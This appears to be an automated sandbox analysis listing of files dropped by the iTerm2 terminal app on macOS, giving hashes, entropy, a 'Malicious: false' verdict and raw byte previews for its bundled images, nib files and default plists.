Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	16280
Entropy (8bit):	6.804280968083815
Encrypted:	false
SSDEEP:	384:pk8gF3pkI7+EltcwRUYNg7i5gUxYNg7ryjEaoju1y:FgFZkI9RUYyTUxYyLuk
MD5:	DDDAF8D700373DCE5F59284B21A77CC8
SHA1:	E558C242330E066B3FC155C7D4EDE8775C27B95D
SHA-256:	E9A637A51C6082F07AD48C9BC278BEE1363E178791EE411608144D53CED5EF00
SHA-512:	527ACA8DB081091DFF384D413034E754740224B92E5B0CEC27471F97DB42FFDB8F50426A6439775792DFE1C29FBEF05A915C542D0D17A07993F158FCB8C7A83A
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.N.X.........................................................$.%.&.-.5.6.:.@.J.K.P.U.V.[.`.a.c.f.n.o.u.v.y...........................................................%.&.'.+.>.?.@.D.O.P.U.W.X.Y.Z.[.`.c.d.j.k.q.r.x.....:.................!..............................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....z.x.s...........y..&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_.#CommandHistoryPopupWindowController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet..C.

/Applications/iTerm.app/Contents/Resources/Composer.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 1154 x 551, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	218244
Entropy (8bit):	7.982703695160132
Encrypted:	false
SSDEEP:	6144:9Zn+xcxMC/nRpmMKnkexO1EPjhpLwYyo3mvBAhM:9Z+x65JIMOxO1EP7RL2+O
MD5:	5D68B4E102419FC2ADB742E764710543
SHA1:	3212CEA5B05EB00664CCC904776DB311A25648CE
SHA-256:	5BCFB1EB00B5CB5DF1A15C7C7969DD049DE25E27307169A4999C21943AA9C42B
SHA-512:	17C5FA57D1DC3DEED2ABFC3AAF4CB7C906501B793838C7D08D764E84E8BCFE7A2E2402B07EC778D62361D371EEBF133869AFBE41273260659CDEB525DA29160F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......'........... .IDATx.....%.]...:..}.{....3..yI..!i..A._B.I.........b..;...6....X...a..]a..F., V ......fF..<.y?z.u...JG.......2.q..=.v..s...../....<YYY....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C....0.!.a.C.....s0...2$.bk.f..qEy&....khi....\Cv....f.k..:\.e.7..q.F=s}.i..Y.Pl..W..8q!.6..a[..+....l^..........Gm.....=....^......GH...z.v..A.........GE.....c.q....(DCa.....l...\|.M...35...AI.........n..k...........2MS.V..r.#..........B\_'..jyh.....}T.....\..:........k...'m...]h{..,..U..........}s1h....<....\|\.}i.f{......N...!.r...p.o.!g`e.uDR.#:o.XD..u:..W...I..+......&\...7...d.=rA.>...r5..tZ=....9N\.K...U1>.V.%..=.....Um..V....m........w.=,.>.m....BI............^W..m?\m....gm.1._....G.j...C..d.......BOa48..`....x..<....nt...j\|..>..i.re.yqe.lH.}.jjo..O..pC............-............U\.F.+....:\.......\x..........\|.\.l.....W..'....i;f.....xG]...v......g.........<h{w.A....86....j.q._....

/Applications/iTerm.app/Contents/Resources/Coprocess.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 41 x 33, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1925
Entropy (8bit):	7.356535125781277
Encrypted:	false
SSDEEP:	48:rwitNn2cGLJ3SX4knMorrmylLRoOzhtI+PothHtI8:F2kluyl3DoHtb
MD5:	4849A507D66E2F188ECE5398BAA5D57F
SHA1:	65B79689C40750111DB4E6E9019BDD0AC642A3F4
SHA-256:	F64210D13EF892D310451BB65733FDCEC4057EB66DEE909DB6377FB6CC7B7865
SHA-512:	479B9DB45FBD2C1FFF51C5BC8086B51A1E8FE0929B880F110E673E40D67FC4141BB71F9871E5DE95B9A3AB448CCC6672699FF2ACF17700F980A3D1BFC53D2178
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...)...!......:J.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh" xmpMM:InstanceID="xmp.iid:DDD4C45BDF1911E0BD55945D565FCF01" xmpMM:DocumentID="xmp.did:DDD4C45CDF1911E0BD55945D565FCF01"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DDD4C459DF1911E0BD55945D565FCF01" stRef:documentID="xmp.did:DDD4C45ADF1911E0BD55945D565FCF01"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>._......IDATx.b...Q....Fr.hla............;....XH4.A.*%. ..(..N:..o...m..m..Qz.m....e6I..[..o.......~D.\=m.wO=.; .U..OV..

/Applications/iTerm.app/Contents/Resources/CopyMode.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10552
Entropy (8bit):	6.4645287221029015
Encrypted:	false
SSDEEP:	96:D0jKebbAi1hWKVYPjxTK6MT0D5MdtbZPAVwzVPK8YCN1hWKVYPjxTK6MT0D5Mdtw:D0fb8GMjRUYNMtKwA8Y0MjRUYNMtKwy
MD5:	1CA38AFBFE764FBAEF44043A2C8F0381
SHA1:	D50C97A46E641243848781C75D4E2E71D8CEF53C
SHA-256:	B4EAF4BAC0BE09277AB08A45A2201DBF96A98AFEC561E59E23D980B4C343EE2A
SHA-512:	85202AF526609A803607012730F11681795D2684E30FD15F8280BD7C6E82A2D49C46D22E1A8D5D8566495581B7DAFF3270280767DA15EF4F6EA03A4B456B60BB
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP.d6...DbQ8.V-..?......k....8<iO.,.......\.I...p.6.kL...8bX.\|.....\R.(.......>.G..e..(6.._..dN...>@.......V...L...5Hl..Mn.....R....1..n..E...............xj."....u\\|.#l.E.....;...oY)...c..p:.>R%.....2.....n".*{.~.....>............x.gro..C.Y.h2X.H....x...?....a6.......xu>.....8/...>.K.......>o.....#...L...>/S..B..&.Cj,:.C....B..5...L..9.c....,B....m.?.t1.?pD).G.....Q.<........Dq%D.d..J..I...8..(.0..........j...../..\|..M+..! .$......e....?O...@PT../L........<Msl.y..(.yO..=O.h.........................................................................................................................................................................................(...........1...........=...........R...........S...........s.........&...l................CopyMode@2x.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........de

/Applications/iTerm.app/Contents/Resources/CustomizableTitles.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 1238 x 550, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	77776
Entropy (8bit):	7.8762676352968946
Encrypted:	false
SSDEEP:	1536:au2FGQjB23eBG5yCHQHJIRHho2M25AyTd2oETvgpRDudwGtAMZhNW1syiQ:Z2FGQjB2qGFloa4o/qdwGtd/Qd
MD5:	C07DC0D878AC57B3D6AE73EC36C1E0ED
SHA1:	B2F765A3B264B88BFEE1DF7AE534A809180F56C8
SHA-256:	1A24549E31AC4E69BEA00E3C975BB4E74B776EE00E5AD1676357D6238645713A
SHA-512:	2FCE60D04FC78EBDA9DD9135FF2E725C5F464D297E9267EBC00AF7DD2BA5152051E4F2A9CDD11614658CA49FBB5DC306089B7D03CBFD9DEAB93A09D52B2F713F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......&......7......iCCPICC Profile..H....T........BK.RBo.t.H.=t.`#$...cBP.;...........k.d-........Y..u.....!....y..w...........s.......8.V. [.#...e$&%3.O..h.M`.L8\......P...n#w.4>........WS...\..(.SyRn6.'.!..%9. ...xQ.x..Q.K..Q.......s................H....Q?#.....8.l'..E(.P...8.L9.......\|.e....I.[.TEN.']..{.n...T..Y.......,.d.3tP.....z....\..`QjD.$.y.=..@..7.\._.$.8....Y.a..&.d+...c'./...d..hE.4..k.9.....8._.g+...b.&9W..1.......?._".V.....N..T.=[.......9..`..9S..E....DEo<...TL."^....%..R.....~in.bm.z!..F).0...5.@....ps..s...[ ^"...r.,.U..l..v:.............}.{..a.'...;z7 ..o^!.-.........@....n.L.;....`..(.:.....X....\..... .D.X.......l ..@>X..A1............p.4...<.......x......C`..B......... S..r.......A.P....C"H..Ck.b.....A....).<t....C.. ....#0...z..<.f.,8.......B8...7..p.\|.n.....;..~..#.!#..!b.0.?$.IF.....)B..*..iA..[..y.\|..04..c....c.0\.B.r..L.. ..s.s.....\|.R..Xk.;..M..c.a..e.j.I.%..l?v...i..q..`\...........k.u..p.x<^.o...G.9..\|!~..0.......H .....@B2ADXM(#.".%t...F

/Applications/iTerm.app/Contents/Resources/DeadForDarkTheme.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9124
Entropy (8bit):	6.698853378118141
Encrypted:	false
SSDEEP:	96:utLHJ1hWKVYPjxTK6MT0D5MdtbZPAVwzV2eDscRlzwEiN26MT0D5MdtbZPAVwzV0:wDMjRUYNMtKw8ks2lzwCYNMtKwy
MD5:	6B7598C83BB09BF7B1F7F6B3D102E24F
SHA1:	5F6FD1EAA46EDB64C85199DD2E4B2E38512FF170
SHA-256:	B702F9E09BD27229BB9487D854A69ABD954DFC39C61B705ADA9BC550FD890301
SHA-512:	A06A948997F50525195F2A539EF0030ACA3E45DD9196581C9770F4885CC6725203CA11F23A1FF3056EA3C7010C3BE372C95745CC9B4CD9155455F3D22255EA60
Malicious:	false
Reputation:	low
Preview:	MM.*...... P8$....BaP.d6..u.^..........Hx...`.^. b.P.l.."Q.tV..-R.#.X<#uA...rt....!-BCD..d.H..p..:......M..U...:.........".J%V.U..r.j....J.h.FN+..P%q...+........cA..P.p.T....`c.....P`'....~.VI....kW.....2......cp...\#......n.7.....>.Y....C,.....!..9..f..`.... .1H....;..z` ......................................................................................$.................................................................................................(...........1.........:.=...........R...........S...........s.........J.......H.......H....DeadForDarkTheme.png..tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>..

/Applications/iTerm.app/Contents/Resources/DefaultBookmark.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	12659
Entropy (8bit):	4.859291574058117
Encrypted:	false
SSDEEP:	96:CyJQA0HwyPmp2d2Qj2d/J2dc2d7LDaIpL3dPx1wTgw6VEB2d02dCkxVp92YFWTIB:XJQ+t29T6MwRF2Ia
MD5:	A294BD7C954EC53311CA3AD3BC9C9A75
SHA1:	57FE8431D0399C056647C36CC5B882548C2CCC94
SHA-256:	EA14E3DDC0F8E37B5985C2A749386744FFE86ACDA924666C1D3767E760920D39
SHA-512:	418A3953DE5B6ACD9D08B1A022A4B93680E5597D4B4CE5185257F1449CBD551775FC068D47DC715A928A19B0F20379896BF60871A4C81F2E92020D1953A62690
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>Ansi 0 Color</key>..<dict>...<key>Blue Component</key>...<real>0.0</real>...<key>Green Component</key>...<real>0.0</real>...<key>Red Component</key>...<real>0.0</real>..</dict>..<key>Ansi 1 Color</key>..<dict>...<key>Blue Component</key>...<real>0.0</real>...<key>Green Component</key>...<real>0.0</real>...<key>Red Component</key>...<real>0.73333334922790527</real>..</dict>..<key>Ansi 10 Color</key>..<dict>...<key>Blue Component</key>...<real>0.3333333432674408</real>...<key>Green Component</key>...<real>1</real>...<key>Red Component</key>...<real>0.3333333432674408</real>..</dict>..<key>Ansi 11 Color</key>..<dict>...<key>Blue Component</key>...<real>0.3333333432674408</real>...<key>Green Component</key>...<real>1</real>...<key>Red Component</key>...<real>1</real>..</dict>..<key>Ansi 12 Color</key>..<dict>...<key

/Applications/iTerm.app/Contents/Resources/DefaultGlobalKeyMap.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	2302
Entropy (8bit):	4.305747411016019
Encrypted:	false
SSDEEP:	48:cfyeAeIHZeiHYre3Hde7HDSeQHbeMHYpeeHaPeNH3PeyHAPehH5tehHlPeGHkeGp:CyveCZewme3deDDSeKbeucekaPeR3PeU
MD5:	8C3BB0B6E6BA762E02DDA46D6F3872B3
SHA1:	DD45794DCCAA06F91DE471421E272B1C70DBDBAD
SHA-256:	0F19D039BDE62616C1E402AFC8FC6B07B77618ACCA0A6223A6000A0F085179E9
SHA-512:	2FC5798C96CCA8DCD7682F5A9CEC0CEA58EAF7C4FDD92F2A3F33CFC2E67A10A959CE51873F18409F9501AF476BECBB30F241BD3432850A4F2B9DDFD524232E2A
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">. <dict>. <key>0x19-0x60000</key>. <dict>. <key>Action</key>. <integer>39</integer>. <key>Text</key>. <string></string>. </dict>. <key>0xf702-0x320000</key>. <dict>. <key>Action</key>. <integer>33</integer>. <key>Text</key>. <string></string>. </dict>. <key>0xf703-0x320000</key>. <dict>. <key>Action</key>. <integer>34</integer>. <key>Text</key>. <string></string>. </dict>. <key>0xf700-0x300000</key>. <dict>. <key>Action</key>. <integer>7</integer>. <key>Text</key>. <string></string>. </dict>. <key>0xf701-0x300000</key>. <dict>. <key>Action</key>. <integer>6</integer>. <key>Text</key>. <string></string>. </dict>. <key>0xf702-0x300000</key>. <dict>. <key>Action</key>.

/Applications/iTerm.app/Contents/Resources/DefaultPointerActions.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	940
Entropy (8bit):	4.927779907994163
Encrypted:	false
SSDEEP:	24:2dfyiwf+8lMB+8yDMqKA+8BMqG+81MqS+8gMqJ+8kVMa:cfyFllslyDMAlB0l1klgflkVj
MD5:	9B622FA3B6940D3BF7CE1379D1855B54
SHA1:	0A02E9EC23EB04109697C7253C36BB0EE1DB9E2E
SHA-256:	7A0062AE918B646244804ADB39EA61EEF586703FFD27EAB9E057CD8CD95E3FEA
SHA-512:	1B840C10CB202DD53AF4BA4138A2BA1E1D9D316535D73706FF4F37B83ADF2C090DCE5940B091500D673F877BF19569CC7C79BF15D74218992AA5148D803E2F07
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>. <key>Button,1,1,,</key>. <dict>. <key>Action</key>. <string>kContextMenuPointerAction</string>. </dict>. <key>Button,2,1,,</key>. <dict>. <key>Action</key>. <string>kPasteFromClipboardPointerAction</string>. </dict>. <key>Gesture,ThreeFingerSwipeRight,,</key>. <dict>. <key>Action</key>. <string>kNextTabPointerAction</string>. </dict>. <key>Gesture,ThreeFingerSwipeLeft,,</key>. <dict>. <key>Action</key>. <string>kPrevTabPointerAction</string>. </dict>. <key>Gesture,ThreeFingerSwipeUp,,</key>. <dict>. <key>Action</key>. <string>kNextWindowPointerAction</string>. </dict>. <key>Gesture,ThreeFingerSwipeDown,,</key>. <dict>. <key>Action</key>. <string>kPrevWindowPointerAction</string>. </dict>.</dict>.</plist>.

/Applications/iTerm.app/Contents/Resources/DirectoriesPopup.nib/keyedobjects-101400.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	16387
Entropy (8bit):	6.803718918607707
Encrypted:	false
SSDEEP:	384:4gv2zQnRdZtWwRUYNg7S6RofpAYNg7ubk7kPcy8oR:4gv2c/FRUYyNoRAYy6bkEV
MD5:	153B959E9B0E6C50EB56A6DB82BB595F
SHA1:	5C392C89C859950D0D865925F5363350E72C72C7
SHA-256:	EAA482B6DD62E620BC6904AA05C63D6DCBFE08D10728AE3D00A4048AA30093B1
SHA-512:	3D46ED36518D781F4566FA39924DD4BCB1DED6D360B0A49BE48CFBB0D6B09F1A6BECA77DCB91D08625AD5C3E8E312303BACED0F1178C632841798C79C36CD639
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.O.Y.l.m.}.~.....................................................).../.4.9.:.<.?.@.D.J.K.L._.`.h.i.n.s.{.\|...........................................l...................../.0.4.G.H.I.M.X.Y.^.`.a.b.c.d.i.l.m.s.t.z.{.......:..................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....\|.z.u...........{..&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_. DirectoriesPopupWindowController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet.

/Applications/iTerm.app/Contents/Resources/DirectoriesPopup.nib/keyedobjects-110000.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	16362
Entropy (8bit):	6.80174932491791
Encrypted:	false
SSDEEP:	384:gHgvlzQnRdZtWwRUYNg7S6RN8fpnYNg7TCEmQsHq4Tv:gHgvlc/FRUYyNN8RnYy/CEUv
MD5:	076E1167665CBC7076CCD57AE4204CCB
SHA1:	1C07D50BF099F623B3FF4DCE20903B88424CC204
SHA-256:	28A93634AD1527C131B644FAD11CC91EDC75D5433AB95D2495EAB588656656A4
SHA-512:	CA7C6BDCDA481B068E45C4BE9158BC47A08FAA988734BDB4F36CB417F98DBC4B54AB9F2A95CFC835D70093D3040EDEFA9AF39604EC7773E5D43FA36769EF0209
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.O.Y.l.m.}.~.....................................................(.-...3.8.9.;.>.?.C.I.J.K.^._.g.h.m.r.z.{...........................................k...................-.../.3.F.G.H.L.W.X.]._.`.a.b.c.h.k.l.r.s.y.z.......:..................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....\|.z.u...........{..&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_. DirectoriesPopupWindowController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6.C.D\NSMutableSet.

/Applications/iTerm.app/Contents/Resources/DisableTips.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9552
Entropy (8bit):	7.161970875629791
Encrypted:	false
SSDEEP:	96:lHh3JOFfntLS44+N26MT0D5MdtbZPAVwzVIisnZGVtRcDh5lcMfglTuqN26MT0Dx:AM4aYNMtKwdsnZ0Rk7cqglTUYNMtKwy
MD5:	62E7E32C565077C3C52B9EFE74D61D8A
SHA1:	9ED22841F85FF797A39F96B3AC73A2B6D358053B
SHA-256:	ADE6DCD90323D87141ACC528B9A6C4858D54E0FFE1AD69433A5A8153430C3C8B
SHA-512:	30C0C74CB2537F3366296EAB76EF5A217D38DB8B447E67B4CFBE13D23DE1A07CCD966F55676CBDB94EFED31CFAD0F6B5502B59E7AA9B42144566368B0B4F5955
Malicious:	false
Reputation:	low
Preview:	MM....N.?.@.$....BaP.d6...?..8C....."A.,H..v...G.RM........9./.#.x..4...c.H......`.u.44..A"2r...O..`.........3w#.....l".(.o.iAM$xi.&....'1....../..yF....R.T...4A_PR....Y..0....G..@+.K....Raw71J.....O...N....Y8".(..4./..d......x.d.....(6...Sj..AH..??....6...v..O.....>AU.RW......\|.&.g.&u@...Q~..().I....n...\|..1./..J.V8.j.."B...... s.'......0.....}....C.'!.v..QHH.aJ...H.(.=....CJ4:.C.i....(B..d....P.$y...0;..2....`4!.C... .[.$....".$d8.....~...8...).;.......Y.z......g..c...\|...0..;.[.7....)./.v.....o....~...F..........u....}.@ .....[$%...M#....9........r....c...(...;.R<b....!.6a..+.MH.............@.....<...^7..>#.......Qh. .....AS.l.h+...e.}. ..>....nT..j.s ...L5..R.;.3*r....../B.D3..<...).......e..g... b.....f/..(...!......~'K.,........)...L...i.x.7....C...$....v..3.....j...h)(...1$....b...i..'@....((6.........dA.`......Y..._]...........................................`...............................................p...........................................................E........

/Applications/iTerm.app/Contents/Resources/Dismiss.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	8650
Entropy (8bit):	7.0824649346040545
Encrypted:	false
SSDEEP:	96:OhVeGZ3v26gN26MT0D5MdtbZPAVwzViE4hvID/5k4fN26MT0D5MdtbZPAVwzV0:Onew3+6vYNMtKwAVIr5fKYNMtKwy
MD5:	B83F85844A6D6717DE0A9A95C868FD53
SHA1:	11B16B76011380EDB9B3178E021F62D29C58974C
SHA-256:	768FC39F29195D1B7621C7812B7546D23106E80C0810B28F866321D9264A9DF0
SHA-512:	BFC0FA8299B7A1C446FB57D51779A547818BA4F51261909DCB6C9F0C7B76338B954C7C36FF974E243FD28E198AD1E92C0027B9625E866AB57BC639CEBD291DA7
Malicious:	false
Reputation:	low
Preview:	MM....L.?.@.$....BaP.d6...?..8.V-....Q..B..k..@ ..........M..}.`o.P....FaM....}E.T.0....&.RA....[79@.Us.......b..N.zB.P.....@#.J. ...\AJj.pj../...8".....OF..8X&.<.Q.ip.R....(.J.(Q.hq\|...."Y(!N...?.jd.m.9.D.7...Q..........Ao."...t.k..8.....I..E.....>.../.$....1.ds..T.J.e....,A\|."........G0..R....+ .!h......=.r....... .....P(.X..P4.A.$ ....M. ."$Z...L.E......tF......$.".^:.j..$.j.'..:....#c./Q..R ../ ...............@......n.1.(....$.....7.!.... ...Z5".X..(\n..`J.u..k....S.<".....3.R].`........'i..=.GIW7. z.$.t..-..-......+@......F..f...........i.'....G.\...b.5....R[..m'.W*,........................................^...............................................n...........................................................C...........N...........V.............(...........1.........z.=...........R...........S.........f.s.....H.......@...H.......H....................Dismiss.png.tiffutil v326.1....HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ..........

/Applications/iTerm.app/Contents/Resources/EncodingsWithLowerCase.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	20477
Entropy (8bit):	4.508209529997834
Encrypted:	false
SSDEEP:	192:XBDowyhjwU57/jvey/XrAbzqm9jrU4wpyv7ZSAx:xcwyhdb//XrA/qmSVQF
MD5:	9D06435FF49EEE5B92A3E508A08BF2D5
SHA1:	A6EA4CCC96DD1A1F1A2EB3175AB82AEEF9B58830
SHA-256:	4B7B9F700ECFCD954BF0C4E651A8F206E7EDEC251B4E42644218840F311496FE
SHA-512:	F29BE30C19F4537B363D1F3DBB57DD35F88B5E840F691FE7FD43D2D78392D11ECA3C85AB4D199AF76456D5D5D143D342ADA86820FB3BE7290FA78A3A8975C966
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">. <dict>. <key>Adobe-Standard-Encoding</key>. <true/>.. <key>Adobe-Symbol-Encoding</key>. <true/>.. <key>Ami-1251</key>. <true/>.. <key>Ami1251</key>. <true/>.. <key>Amiga-1251</key>. <true/>.. <key>Amiga1251</key>. <true/>.. <key>BS_viewdata</key>. <true/>.. <key>Big5</key>. <true/>.. <key>Big5-HKSCS</key>. <true/>.. <key>CSA_Z243.4-1985-gr</key>. <true/>.. <key>Cyrillic-Asian</key>. <true/>.. <key>EBCDIC-Cyrillic</key>. <true/>.. <key>EBCDIC-JP-kana</key>. <true/>.. <key>ECMA-cyrillic</key>. <true/>.. <key>Extended_UNIX_Code_Fixed_Width_for_Japanese</key>. <true/>.. <key>Extended_UNIX_Code_Packed_Format_for_Japanese</key>. <true/>.. <key>HP-DeskTop</key>. <true/>.. <key>HP-Legal</key>. <true/>.. <key>HP-Math8</key

/Applications/iTerm.app/Contents/Resources/Erase.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10690
Entropy (8bit):	6.485085119837132
Encrypted:	false
SSDEEP:	192:ROruZMjRUYNMtKwhu80Y2HEd6sXMjRUYNMtKwy:RAuZwRUYNg7xwHYXwRUYNg7y
MD5:	13AEE64400D11563BC320CA233078FB5
SHA1:	B7868009DF353381D83BFFF86A0D7089E04904D9
SHA-256:	67DB9E504CA04365AE48ABA62C41843468D50BBB31047634D2756F3F5EC140B7
SHA-512:	E16DF8F63D8FB6B39F949F6E27C04FCCC4794B481E8DECD7FCF2080A5498E50AF869EAE976DA99B51CC98605F51F5A49443E4A47810B1231BA14424124418750
Malicious:	false
Reputation:	low
Preview:	MM.*...0.. P8$....BaP.d6...Dah...J.!..0 .l....@..X....(...[..U.@.1..)...B.g....a:.`.Pa...E....$.q.I..)..\|.S:8`.`....V......Fv=..A.d..-~.........F.........@d..N.l.9..#.....<.o....u:._`.T..&.\. 3Y.....W..P.......4....... ..h.,....."...P.. ...@.I........E.@.0...r....xJ0f.V..y..). .C+.U+....D..(.......... ......................................................................................B...........................................................'...........2...........:.............(...........1.........L.=...........R...........S...........s.........\.......H.......H....Erase.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA

/Applications/iTerm.app/Contents/Resources/EraseDarkBackground.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10710
Entropy (8bit):	6.4845183250194705
Encrypted:	false
SSDEEP:	96:Jnns7B6XVj4V1hWKVYPjxTK6MT0D5MdtbZPAVwzVeIbz1hWKVYPjxTK6MT0D5MdW:Jnns7wEvMjRUYNMtKwQIVMjRUYNMtKwy
MD5:	3AB79F47753304898EAA4A71F5508866
SHA1:	C0AC910BC7248A695D3A629EFFB3CD6E2B87D85D
SHA-256:	4FBB96B337532DACD8CC0CAEBD799B0D203ABCBFE5D5BA59F168ADAB595BBD9C
SHA-512:	9E0687C13EFA803270D75212B5C8004FF2504650DF144D0E174426F2441BE8B53AC8ED5B29A29271272FD64BFCF0A1C15FD84DB3B29B8E6F7BA6C32FFC840210
Malicious:	false
Reputation:	low
